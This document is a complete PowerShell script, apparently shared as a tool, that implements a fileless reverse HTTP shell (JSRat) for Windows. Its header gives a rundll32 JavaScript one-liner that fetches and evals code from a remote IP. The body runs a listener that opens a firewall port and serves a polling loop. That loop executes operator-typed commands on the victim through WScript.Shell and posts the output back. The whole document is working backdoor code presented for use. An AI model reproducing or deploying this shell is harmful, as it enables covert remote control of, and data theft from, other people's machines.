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Fileless JavaScript Reverse HTTP Shell
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<# | |
Author: Casey Smith @subTee | |
License: BSD3-Clause | |
.SYNOPSIS | |
Simple Reverse Shell over HTTP. Execute Command Javascript Backdoor | |
--- | |
Server (as admin): | |
powershell.exe -ExecutionPolicy Bypass -File c:\test\JSRat.ps1 | |
Client: | |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} | |
#> | |
$Server = '127.0.0.1' #Listening IP. Change This. | |
function Receive-Request { | |
param( | |
$Request | |
) | |
$output = "" | |
$size = $Request.ContentLength64 + 1 | |
$buffer = New-Object byte[] $size | |
do { | |
$count = $Request.InputStream.Read($buffer, 0, $size) | |
$output += $Request.ContentEncoding.GetString($buffer, 0, $count) | |
} until($count -lt $size) | |
$Request.InputStream.Close() | |
write-host $output | |
} | |
$listener = New-Object System.Net.HttpListener | |
$listener.Prefixes.Add('http://+:80/') | |
netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null | |
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null | |
$listener.Start() | |
'Listening ...' | |
while ($true) { | |
$context = $listener.GetContext() # blocks until request is received | |
$request = $context.Request | |
$response = $context.Response | |
$hostip = $request.RemoteEndPoint | |
#Use this for One-Liner Start | |
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) { | |
write-host "Host Connected" -fore Cyan | |
$message = ' | |
var id = window.setTimeout(function() {}, 0); | |
while (id--) { | |
window.clearTimeout(id); // Clear Timeouts | |
} | |
while(true) | |
{ | |
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); | |
h.Open("GET","http://'+$Server+'/rat",false); | |
h.Send(); | |
c = h.ResponseText; | |
r = new ActiveXObject("WScript.Shell").Exec(c); | |
var so; | |
while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()} | |
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); | |
p.Open("POST","http://'+$Server+'/rat",false); | |
p.Send(so); | |
} | |
' | |
} | |
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { | |
Receive-Request($request) | |
} | |
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { | |
$response.ContentType = 'text/plain' | |
$message = Read-Host "JS $hostip>" | |
} | |
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) | |
$response.ContentLength64 = $buffer.length | |
$output = $response.OutputStream | |
$output.Write($buffer, 0, $buffer.length) | |
$output.Close() | |
} | |
$listener.Stop() |
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